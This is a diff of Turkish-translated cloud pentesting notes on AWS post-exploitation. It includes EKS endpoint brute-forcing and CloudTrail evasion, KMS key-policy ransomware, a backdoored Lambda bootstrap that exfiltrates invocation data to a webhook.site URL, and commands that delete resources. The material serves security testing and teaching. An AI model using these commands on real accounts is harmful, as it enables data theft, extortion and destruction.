değil: +- O kadar kolay bir yol değil: -Eğer **`aws eks get-token --name `** ile **bir token alabiliyorsanız** ama cluster bilgilerini (describeCluster) almak için izinleriniz yoksa, **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak, token'a sahip olsanız bile, **bağlanmak için url endpoint'e** ihtiyacınız var (eğer bir pod'dan JWT token aldıysanız [buradan](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **cluster'ın adını** bilmeniz gerekiyor. +Eğer **`aws eks get-token --name `** ile **bir token alabiliyorsanız** ama cluster bilgilerini (describeCluster) almak için izinleriniz yoksa, **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak, token'a sahip olsanız bile, **bağlanmak için url endpoint'e ihtiyacınız var** (eğer bir pod'dan JWT token aldıysanız [buradan](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **cluster'ın adına** ihtiyacınız var. Benim durumumda, CloudWatch loglarında bilgiyi bulamadım, ama **LaunchTemplates userData'da** ve **EC2 makinelerinde userData'da** buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin bir sonraki örnekte (cluster adı cluster-name idi): ```bash @@ -33,7 +33,7 @@ API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazon ```
-kube yapılandırması +kube config ```yaml describe-cache-parametersapiVersion: v1 clusters: @@ -72,33 +72,33 @@ provideClusterInfo: false ### AWS'den Kubernetes'e -**EKS kümesinin** **yaratıcısı**, grubun **`system:masters`** (k8s admin) kısmına **HER ZAMAN** girebilecektir. Bu yazının yazıldığı sırada **kümenin kim tarafından oluşturulduğunu** bulmanın **doğrudan bir yolu** yoktur (CloudTrail'i kontrol edebilirsiniz). Ve bu **yetkiyi** **kaldırmanın** **bir yolu** yoktur. +**EKS kümesinin** **yaratıcısı**, grubun **`system:masters`** (k8s admin) kısmına **HER ZAMAN** girebilecektir. Bu yazının yazıldığı sırada **küme kimin tarafından oluşturulduğunu** bulmanın **doğrudan bir yolu** yoktur (CloudTrail'i kontrol edebilirsiniz). Ve bu **yetkiyi** **kaldırmanın** **yolu yoktur**. **AWS IAM kullanıcıları veya rolleri için K8s'e erişim vermenin** yolu **`aws-auth`** **configmap'ini** kullanmaktır. > [!WARNING] -> Bu nedenle, **`aws-auth`** config map üzerinde **yazma erişimi** olan herkes **tüm kümeyi tehlikeye atabilecektir**. +> Bu nedenle, **`aws-auth`** config map'ine **yazma erişimi** olan herkes **tüm kümeyi tehlikeye atabilecektir**. -**Aynı veya farklı hesaplarda IAM rolleri ve kullanıcılara ek yetkiler vermek** ve bunu nasıl **istismar edeceğiniz** hakkında daha fazla bilgi için [**privesc bu sayfayı kontrol edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +**Aynı veya farklı hesaplarda IAM rolleri ve kullanıcılara ek yetkiler vermek** ve bunu nasıl **istismar edeceğiniz** hakkında daha fazla bilgi için [**bu sayfayı kontrol edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). Ayrıca [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **yazıyı kontrol edin, IAM -> Kubernetes kimlik doğrulamasının nasıl çalıştığını öğrenin**. ### Kubernetes'ten AWS'ye -Kubernetes hizmet hesabı için **OpenID kimlik doğrulamasını** sağlayarak AWS'de rolleri üstlenmelerine izin vermek mümkündür. [**Bu sayfada nasıl çalıştığını öğrenin**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Kubernetes hizmet hesabı için **OpenID kimlik doğrulamasına** izin vermek, onların AWS'de roller üstlenmelerine olanak tanır. [**Bu sayfada nasıl çalıştığını öğrenin**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### JWT Token'dan Api Sunucu Uç Noktasını Almak +### JWT Token'dan GET Api Sunucu Uç Noktası Alma -JWT token'ı çözümleyerek küme kimliğini ve ayrıca bölgeyi alırız. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url'sinin standart formatının olduğunu bilmekteyiz. +JWT token'ını çözümleyerek küme kimliğini ve ayrıca bölgeyi alıyoruz. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URL'sinin standart formatının olduğunu bilmek ```bash https://...eks.amazonaws.com ``` -Dokümantasyonda 'iki karakter' ve 'sayı' için kriterleri açıklayan bir şey bulamadım. Ancak kendi adıma bazı testler yaparak şunların tekrar ettiğini görüyorum: +Herhangi bir 'iki karakter' ve 'sayı' kriterini açıklayan bir belge bulamadım. Ancak kendi adıma bazı testler yaparak şunların tekrar ettiğini görüyorum: - gr7 - yl4 -Her halükarda, sadece 3 karakter var, bunları brute force ile kırabiliriz. Aşağıdaki scripti listeyi oluşturmak için kullanın. +Her durumda, sadece 3 karakter var, bunları brute force ile kırabiliriz. Aşağıdaki scripti listeyi oluşturmak için kullanın. ```python from itertools import product from string import ascii_lowercase @@ -119,19 +119,19 @@ Sonra wfuzz ile wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` > [!WARNING] -> & ve 'yi değiştirmeyi unutmayın. +> Unutmayın, & ile değiştirin. ### CloudTrail'ı Atlatma -Eğer bir saldırganın **EKS üzerinde izinleri olan bir AWS** kimlik bilgileri elde ederse. Eğer saldırgan, daha önce açıklandığı gibi **`update-kubeconfig`** çağrısı yapmadan kendi **`kubeconfig`** dosyasını yapılandırırsa, **`get-token`** Cloudtrail'de log oluşturmaz çünkü AWS API'si ile etkileşime girmez (sadece token'ı yerel olarak oluşturur). +Eğer bir saldırganın **EKS üzerinde yetkisi olan bir AWS** kimlik bilgilerini elde ederse. Eğer saldırgan, daha önce açıklandığı gibi **`update-kubeconfig`** çağrısı yapmadan kendi **`kubeconfig`** dosyasını yapılandırırsa, **`get-token`** Cloudtrail'de log oluşturmaz çünkü AWS API'si ile etkileşime girmez (sadece token'ı yerel olarak oluşturur). -Bu nedenle, saldırgan EKS kümesi ile konuştuğunda, **cloudtrail çalınan kullanıcı ile ilgili hiçbir şeyi kaydetmeyecek**. +Bu nedenle, saldırgan EKS kümesi ile konuştuğunda, **cloudtrail, çalınan kullanıcı ile ilgili hiçbir şeyi kaydetmeyecek**. -**EKS kümesinin bu erişimi kaydedecek logları etkinleştirilmiş olabilir** (ancak varsayılan olarak devre dışıdır). +**EKS kümesinin bu erişimi kaydedecek logları etkinleştirilmiş olabilir** (ancak varsayılan olarak, devre dışıdır). ### EKS Fidye? -Varsayılan olarak, bir küme oluşturan **kullanıcı veya rol** her zaman küme üzerinde **yönetici ayrıcalıklarına sahip olacaktır**. Ve bu, AWS'nin Kubernetes kümesine sahip olacağı tek "güvenli" erişimdir. +Varsayılan olarak, **bir küme oluşturan kullanıcı veya rol** her zaman küme üzerinde **yönetici ayrıcalıklarına sahip olacaktır**. Ve bu, AWS'nin Kubernetes kümesine sahip olacağı tek "güvenli" erişimdir. Yani, eğer bir **saldırgan fargate kullanarak bir kümeyi ele geçirirse** ve **diğer tüm yöneticileri kaldırırsa** ve **küme oluşturan AWS kullanıcı/rolünü silerse**, ~~saldırgan **küme için fidye talep edebilir**~~**. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 0bed51af4..0f5bff727 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -19,23 +19,23 @@ Daha fazla bilgi için: ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` -**Potansiyel Etki**: Uygulama dağıtımında kesinti ve uygulama sürümlerinin potansiyel kaybı. +**Olası Etki**: Uygulama dağıtımında kesinti ve uygulama sürümlerinin potansiyel kaybı. ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: Daha fazla izin gerekip gerekmediğini test et +> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et `elasticbeanstalk:TerminateEnvironment` iznine sahip bir saldırgan, **mevcut bir Elastic Beanstalk ortamını sonlandırabilir**, bu da uygulama için kesintiye ve ortam yedeklemeleri yapılandırılmamışsa potansiyel veri kaybına neden olabilir. ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` -**Potansiyel Etki**: Uygulamanın kesintiye uğraması, potansiyel veri kaybı ve hizmetlerin aksaması. +**Olası Etki**: Uygulamanın kesintiye uğraması, potansiyel veri kaybı ve hizmetlerin aksaması. ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Daha fazla izin gerekip gerekmediğini test et +> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et `elasticbeanstalk:DeleteApplication` iznine sahip bir saldırgan, **tüm Elastic Beanstalk uygulamasını**, tüm sürümleri ve ortamlarıyla birlikte **silme** yetkisine sahiptir. Bu eylem, yedeklenmemişse uygulama kaynakları ve yapılandırmalarında önemli bir kayba neden olabilir. ```bash @@ -52,12 +52,12 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` -**Potansiyel Etki**: Kullanıcılara uygulamanın yanlış versiyonunu sunmak veya değiştirilmiş ortamlar nedeniyle uygulamada istenmeyen davranışlara neden olmak. +**Olası Etki**: Kullanıcılara uygulamanın yanlış versiyonunu sunmak veya değiştirilmiş ortamlar nedeniyle uygulamada istenmeyen davranışlara neden olmak. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Bunun için daha fazla izne ihtiyaç olup olmadığını test et +> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et `elasticbeanstalk:AddTags` ve `elasticbeanstalk:RemoveTags` izinlerine sahip bir saldırgan, **Elastic Beanstalk kaynaklarına etiket ekleyebilir veya kaldırabilir**. Bu eylem, yanlış kaynak tahsisine, faturalandırmaya veya kaynak yönetimine yol açabilir. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 77a7c2159..31d78094e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -12,13 +12,13 @@ IAM erişimi hakkında daha fazla bilgi için: ## Confused Deputy Problem -Eğer **bir dış hesabın (A)** sizin hesabınızdaki bir **role** erişmesine **izin verirseniz**, muhtemelen **o dış hesabın** **kimler tarafından tam olarak erişilebileceği** konusunda **0 görünürlüğe** sahip olacaksınız. Bu bir problemdir, çünkü başka bir dış hesap (B) dış hesap (A)'ya erişebiliyorsa, **B'nin de sizin hesabınıza erişebilmesi mümkündür**. +Eğer **bir dış hesabın (A)** hesabınızdaki bir **role** erişmesine izin verirseniz, muhtemelen **o dış hesabın** **kimler tarafından tam olarak erişilebileceği** konusunda **0 görünürlüğe** sahip olacaksınız. Bu bir sorun, çünkü başka bir dış hesap (B) dış hesap (A)'ya erişebiliyorsa, **B'nin hesabınıza da erişebilme ihtimali vardır**. -Bu nedenle, bir dış hesabın hesabınızdaki bir role erişmesine izin verirken, bir `ExternalId` belirtmek mümkündür. Bu, dış hesabın (A) **rolü üstlenebilmesi için** **belirtmesi gereken** bir "gizli" dizedir. **Dış hesap B bu dizeyi bilmeyeceği için**, A'ya erişimi olsa bile, **rolünüze erişemeyecektir**. +Bu nedenle, bir dış hesabın hesabınızdaki bir role erişmesine izin verirken bir `ExternalId` belirtmek mümkündür. Bu, dış hesabın (A) **rolü üstlenebilmesi için** **belirtmesi gereken** bir "gizli" dizedir. **Dış hesap B bu dizeyi bilmeyeceği için**, A üzerinde erişimi olsa bile **rolünüze erişemeyecektir**.
-Ancak, bu `ExternalId` "gizli" dizesinin **gerçek bir gizli bilgi olmadığını** unutmayın, IAM rol üstlenme politikasını **okuyabilen herkes bunu görebilir**. Ama dış hesap A bunu biliyorsa, ancak dış hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak rolünüze erişmesini engeller**. +Ancak, bu `ExternalId` "gizli" dizesinin **gerçekten bir gizli bilgi olmadığını** unutmayın, IAM rol üstlenme politikasını **okuyabilen herkes bunu görebilir**. Ama dış hesap A bunu biliyorsa, ancak dış hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak rolünüze erişmesini engeller**. Örnek: ```json @@ -39,11 +39,11 @@ Ancak, bu `ExternalId` "gizli" dizesinin **gerçek bir gizli bilgi olmadığın } ``` > [!WARNING] -> Bir saldırganın karışık bir delegeyi istismar etmesi için, mevcut hesabın ilkelerinin diğer hesaplarda rollerin taklit edilip edilemeyeceğini bir şekilde bulması gerekecektir. +> Bir saldırganın karışık bir vekili istismar etmesi için, mevcut hesabın ilkelerinin diğer hesaplarda rollerin taklit edilip edilemeyeceğini bir şekilde bulması gerekecektir. ### Beklenmedik Güvenler -#### Wildcard olarak ilke +#### Vahşi karakter olarak ilke ```json { "Action": "sts:AssumeRole", @@ -73,7 +73,7 @@ Bu politika **herhangi bir hesabın** bu Lambda'yı çağırmak için apigateway } } ``` -Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bir Account ID'si yoktur, eğer **bucket'ınızı silerseniz ve saldırgan kendi hesabında oluşturursa**, bunu kötüye kullanabilirler. +Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bir Account ID'si yoktur, eğer **bucket'ınızı silerseniz ve saldırgan kendi hesabında** bunu oluşturursa, bunu kötüye kullanabilirler. #### Desteklenmiyor ```json @@ -86,7 +86,7 @@ Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bi ``` Confused Deputy problemlerinden kaçınmanın yaygın bir yolu, köken ARN'sini kontrol etmek için `AWS:SourceArn` ile bir koşul kullanmaktır. Ancak, **bazı hizmetler bunu desteklemeyebilir** (bazı kaynaklara göre CloudTrail gibi). -## References +## Referanslar - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 5a706421b..8c39fd708 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - KMS Sonrası Sömürü +# AWS - KMS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -15,12 +15,12 @@ Daha fazla bilgi için kontrol edin: `fileb://` ve `file://` AWS CLI komutlarında yerel dosyaların yolunu belirtmek için kullanılan URI şemalarıdır: - `fileb://:` Dosyayı ikili modda okur, genellikle metin dışı dosyalar için kullanılır. -- `file://:` Dosyayı metin modunda okur, tipik olarak düz metin dosyaları, betikler veya özel kodlama gereksinimleri olmayan JSON için kullanılır. +- `file://:` Dosyayı metin modunda okur, genellikle düz metin dosyaları, betikler veya özel kodlama gereksinimi olmayan JSON için kullanılır. > [!TIP] -> Bir dosya içindeki verileri şifre çözmek istiyorsanız, dosyanın ikili verileri içermesi gerektiğini unutmayın, base64 kodlu veriler değil. (fileb://) +> Bir dosya içindeki verileri şifre çözmek istiyorsanız, dosyanın ikili verileri içermesi gerektiğini unutmayın, base64 kodlu verileri değil. (fileb://) -- **Simetrik** anahtar kullanarak +- **simetrik** bir anahtar kullanarak ```bash # Encrypt data aws kms encrypt \ @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- **Asimetrik** bir anahtar kullanma: +- **Asimetrik** bir anahtar kullanarak: ```bash # Encrypt data aws kms encrypt \ @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS Ransomware -KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve **kendi hesabına erişim verebilir**, meşru hesaba verilen erişimi kaldırarak. +Yetkili erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve **kendi hesabına erişim verebilir**, meşru hesaba verilen erişimi kaldırarak. -Böylece, meşru hesap kullanıcıları bu anahtarlarla şifrelenmiş herhangi bir hizmetin bilgilerine erişemeyecek, bu da hesap üzerinde kolay ama etkili bir ransomware oluşturacaktır. +Böylece, meşru hesap kullanıcıları bu anahtarlarla şifrelenmiş herhangi bir hizmetin bilgilerine erişemeyecek, bu da hesap üzerinde kolay ama etkili bir fidye yazılımı oluşturacaktır. > [!WARNING] -> **AWS yönetilen anahtarların** bu saldırıdan etkilenmediğini unutmayın, sadece **Müşteri yönetilen anahtarlar** etkilenmektedir. +> **AWS yönetilen anahtarların** bu saldırıdan etkilenmediğini unutmayın, yalnızca **Müşteri yönetilen anahtarlar** etkilenmektedir. -> Ayrıca, **`--bypass-policy-lockout-safety-check`** parametresinin kullanılma gereğini unutmayın (web konsolundaki bu seçeneğin eksikliği, bu saldırının yalnızca CLI üzerinden mümkün olmasını sağlar). +> Ayrıca, **`--bypass-policy-lockout-safety-check`** parametresinin kullanılma gereğini unutmayın (bu seçeneğin web konsolunda olmaması, bu saldırının yalnızca CLI üzerinden mümkün olmasını sağlar). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Dikkat edin ki, bu politikayı değiştirir ve yalnızca bir dış hesaba erişim verirseniz, ardından bu dış hesaptan **erişimi orijinal hesaba geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız**. +> Bu politikayı değiştirirseniz ve yalnızca bir dış hesaba erişim verirseniz, ardından bu dış hesaptan **erişimi orijinal hesaba geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız**.
@@ -103,9 +103,9 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ Küresel KMS Fidye Yazılımı gerçekleştirmek için başka bir yol vardır, bu aşağıdaki adımları içerecektir: - Saldırgan tarafından içe aktarılan **anahtar materyali ile yeni bir anahtar oluşturun** -- **Eski verileri** yeni anahtar ile yeniden şifreleyin. +- Önceki sürümle şifrelenmiş **eski verileri yeni anahtar ile yeniden şifreleyin**. - **KMS anahtarını silin** -- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan, şifrelenmiş verileri çözebilir. +- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan, şifrelenmiş verileri çözebilir ### Anahtarları Yok Et ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index ad29f90aa..6406b050f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -6,34 +6,34 @@

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer**, **init** sürecine **çağrılar** gönderen konteyner dışındaki bir süreçtir. -2. Init süreci, bazı ilginç uç noktaları açığa çıkaran **9001** numaralı portta dinler: -- **`/2018-06-01/runtime/invocation/next`** – bir sonraki çağrı olayını al -- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – çağrı için işleyici yanıtını döndür +1. **Slicer**, **invocation**'ları **init** sürecine **gönderen** konteyner dışındaki bir süreçtir. +2. Init süreci, bazı ilginç uç noktaları açığa çıkaran **9001** portunu dinler: +- **`/2018-06-01/runtime/invocation/next`** – bir sonraki invocation olayını al +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – invoke için handler yanıtını döndür - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – bir yürütme hatası döndür -3. **bootstrap.py**, init sürecinden çağrıları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (**`/next`**). +3. **bootstrap.py**, init sürecinden invocation'ları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (**`/next`**). 4. Son olarak, **bootstrap.py** init'e **yanıtı** gönderir. Bootstrap'ın kullanıcı kodunu bir modül olarak yüklediğini unutmayın, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütmesi aslında bu süreçte gerçekleşmektedir. ## Lambda İsteklerini Çalmak -Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen **`bootstrap.py`** süreci içinde kötü niyetli bir **`bootstrap.py`** süreci çalıştırmasını sağlamaktır. Bu şekilde, **kötü niyetli bootstrap** süreci, istekleri işlemek için **init süreciyle** **iletişim kurmaya** başlayacakken, **meşru** bootstrap **tuzağa düşmüş** olarak kötü niyetli olanı çalıştıracak, böylece init sürecine istek istemeyecek. +Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen **`bootstrap.py`** süreci içinde kötü niyetli bir **`bootstrap.py`** süreci çalıştırmasını sağlamaktır. Bu şekilde, **kötü niyetli bootstrap** süreci, istekleri işlemek için **init süreciyle** **iletişim kurmaya** başlayacakken, **meşru** bootstrap, kötü niyetli olanı çalıştırarak **tuzağa düşürülmüş** olacaktır, böylece init sürecine istek sormayacaktır. Bu, kullanıcı kodunun meşru **`bootstrap.py`** süreci tarafından yürütüldüğü için basit bir görevdir. Böylece saldırgan: -- **Mevcut çağrının sahte bir sonucunu init sürecine gönderebilir**, böylece init bootstrap sürecinin daha fazla çağrı beklediğini düşünebilir. +- **Mevcut invocation'ın sahte bir sonucunu init sürecine gönderebilir**, böylece init, bootstrap sürecinin daha fazla invocation beklediğini düşünebilir. - **`/${invoke-id}/response`** adresine bir istek gönderilmelidir. - Invoke-id, meşru **`bootstrap.py`** sürecinin yığınından [**inspect**](https://docs.python.org/3/library/inspect.html) python modülünü kullanarak elde edilebilir (burada [önerildiği gibi](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) veya sadece tekrar **`/2018-06-01/runtime/invocation/next`** adresine istekte bulunarak elde edilebilir (burada [önerildiği gibi](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Bir sonraki çağrıları yönetecek kötü niyetli bir **`boostrap.py`** çalıştırın. -- Gizlilik amacıyla, lambda çağrı parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür. -- Bu saldırı için, **`bootstrap.py`**'nin orijinal kodunu sistemden veya [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda çağrısından çalıştırmak yeterlidir. +- Bir sonraki invocation'ları yönetecek kötü niyetli bir **`boostrap.py`** çalıştırın. +- Gizlilik amacıyla, lambda invocation parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür. +- Bu saldırı için, **`bootstrap.py`**'nin orijinal kodunu sistemden veya [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda invocation'ından çalıştırmak yeterlidir. ### Saldırı Adımları 1. Bir **RCE** açığı bulun. 2. **Kötü niyetli** bir **bootstrap** oluşturun (örneğin, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)). -3. **Kötü niyetli bootstrap'ı** **çalıştırın**. +3. Kötü niyetli bootstrap'ı **çalıştırın**. Bu eylemleri kolayca gerçekleştirebilirsiniz: ```bash @@ -52,7 +52,7 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402 exec(new_runtime) EOF ``` -Daha fazla bilgi için [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher) adresini kontrol edin. +Daha fazla bilgi için kontrol edin [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher) ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md index f04764dd2..09a2b777f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md @@ -14,14 +14,14 @@ Daha fazla bilgi için kontrol edin: Eğer DB anlık görüntülerine sahipse, **eski anlık görüntülerde şu anda silinmiş hassas bilgileri bulma** şansınız olabilir. **Anlık görüntüyü** **yeni bir veritabanında** geri yükleyin ve kontrol edin. -### Örnek Anlık Görüntülerini Geri Yükle +### Instance Anlık Görüntülerini Geri Yükle -Örnek anlık görüntüleri, zaten silinmiş örneklerin veya mevcut örnekte silinmiş hassas bilgilerin **hassas bilgilerini** içerebilir. **Anlık görüntülerden yeni örnekler oluşturun** ve kontrol edin.\ -Ya da **anlık görüntüyü EC2'de bir AMI'ye aktarın** ve tipik bir EC2 örneği adımlarını izleyin. +Instance anlık görüntüleri, zaten silinmiş instance'ların **hassas bilgilerini** veya mevcut instance'da silinmiş hassas bilgileri içerebilir. **Anlık görüntülerden yeni instance'lar oluşturun** ve kontrol edin.\ +Ya da **anlık görüntüyü EC2'de bir AMI'ye aktarın** ve tipik bir EC2 instance'ının adımlarını izleyin. ### Hassas Bilgilere Erişim -Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerini kontrol edin: +Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerine göz atın: {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md index bb8c4905c..2d49a1c30 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - Organizasyonlar Sonrası Sömürü +# AWS - Organizasyonlar Sonrası İstismar {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ AWS Organizasyonları hakkında daha fazla bilgi için kontrol edin: ../aws-services/aws-organizations-enum.md {{#endref}} -### Org'dan Ayrılın +### Organizasyonu Terketmek ```bash aws organizations deregister-account --account-id --region ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 4ed7b2d5c..6f1c6d242 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Eğer saldırganın yeterli izinleri varsa, bir **DB'yi herkese açık erişilebilir** hale getirebilir; bunun için DB'nin bir anlık görüntüsünü oluşturup, ardından bu anlık görüntüden herkese açık erişilebilir bir DB oluşturabilir. +Eğer saldırganın yeterli izinleri varsa, bir **DB'yi herkese açık hale** getirebilir; bunun için DB'nin bir anlık görüntüsünü oluşturup, ardından bu anlık görüntüden herkese açık bir DB oluşturabilir. ```bash aws rds describe-db-instances # Get DB identifier @@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance -- ### `rds:DeleteDBInstance` -Bu izinlere sahip bir saldırgan **mevcut RDS örneklerini DoS yapabilir**. +Bu izinlere sahip bir saldırgan **mevcut RDS örneklerine DoS saldırısı** yapabilir. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot @@ -70,7 +70,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final ### `rds:StartExportTask` -> [!NOTE] +> [!NOT] > TODO: Test Bu izne sahip bir saldırgan, **bir RDS örneği anlık görüntüsünü bir S3 kovasına dışa aktarabilir**. Saldırgan, hedef S3 kovası üzerinde kontrol sahibi ise, dışa aktarılan anlık görüntüdeki hassas verilere erişebilir. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index a4a78fe07..3225a8aca 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ 